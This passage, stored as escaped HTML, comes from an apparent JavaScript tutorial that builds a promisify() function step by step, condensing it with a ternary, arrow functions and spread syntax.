&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This will not work, however, because &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;fn&lt;/code&gt;&lt;/span&gt; expects the last element in the array to be a callback.  Let's add a dummy callback function and include it in the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.apply()&lt;/code&gt;&lt;/span&gt; function arguments array.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    args.&lt;span style="color: #660066;"&gt;push&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; callback&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    fn.&lt;span style="color: #660066;"&gt;apply&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold;"&gt;undefined&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; args&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Notice that we are not returning anything, however, from &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;bar()&lt;/code&gt;&lt;/span&gt;, and this is incorrect according to our use case.  &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;bar()&lt;/code&gt;&lt;/span&gt; should return a &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;Promise&lt;/code&gt;&lt;/span&gt;!&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    args.&lt;span style="color: #660066;"&gt;push&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; callback&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    fn.&lt;span style="color: #660066;"&gt;apply&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold;"&gt;undefined&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; args&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;bar()&lt;/code&gt;&lt;/span&gt; returns a &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;Promise&lt;/code&gt;&lt;/span&gt;, but we want to be able to put the callback into the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.then()&lt;/code&gt;&lt;/span&gt; of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;Promise&lt;/code&gt;&lt;/span&gt; returned by &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;bar()&lt;/code&gt;&lt;/span&gt;.  We can do this by moving the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;fn.apply()&lt;/code&gt;&lt;/span&gt; call inside the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;Promise&lt;/code&gt;&lt;/span&gt; code.  We still need our generic &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;callback()&lt;/code&gt;&lt;/span&gt; function, but now we need it to call either the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;reject()&lt;/code&gt;&lt;/span&gt; or &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;resolve()&lt;/code&gt;&lt;/span&gt; function based on the values in the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;err&lt;/code&gt;&lt;/span&gt; and &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;data&lt;/code&gt;&lt;/span&gt; variables, respectively. &lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #006600; font-style: italic;"&gt;/**
 * Convert a callback-based function into a promise.
 * Verbose version!
 **/&lt;/span&gt;
&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      args.&lt;span style="color: #660066;"&gt;push&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; callback&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      fn.&lt;span style="color: #660066;"&gt;apply&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold;"&gt;undefined&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; args&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The version just shown to you is correct, and will function as intended, but it is a bit verbose.  After all, we are using ES6, and we aren't using very many of the language features.  Let's begin condensing some of the code, starting with replacing the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;if()&lt;/code&gt;&lt;/span&gt; statement with a ternary operator.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      args.&lt;span style="color: #660066;"&gt;push&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; callback&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        err &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      fn.&lt;span style="color: #660066;"&gt;apply&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold;"&gt;undefined&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; args&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Next, we are going to use anonymous functions rather than giving them names.  We can also use the ES6-style &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;() =&amp;gt; {}&lt;/code&gt;&lt;/span&gt; function declarations everywhere except for the return of &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      args.&lt;span style="color: #660066;"&gt;push&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        err &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      fn.&lt;span style="color: #660066;"&gt;apply&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold;"&gt;undefined&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; args&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Let's get rid of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.push()&lt;/code&gt;&lt;/span&gt; and &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.apply()&lt;/code&gt;&lt;/span&gt; by using the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator"&gt;spread syntax&lt;/a&gt;.  Notice that we cannot avoid the need to copy the arguments array, because the arguments array needs to be used inside another function, so we must save a copy.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;args&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        err &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The next optimization is not as easy to spot, but notice that there are two functions that only have one line of code within them, and no return statement.  In this particular case, it does not matter if anything is returned by the functions or not, because the value is immediately discarded.  This fact allows us to further shorten the anonymous functions.  I will do them one at a time, the innermost function being first.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;args&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; err &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now to compress it a bit more.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #006600; font-style: italic;"&gt;/**
 * Convert a callback-based function into a promise.
 **/&lt;/span&gt;
&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;args&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; err &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
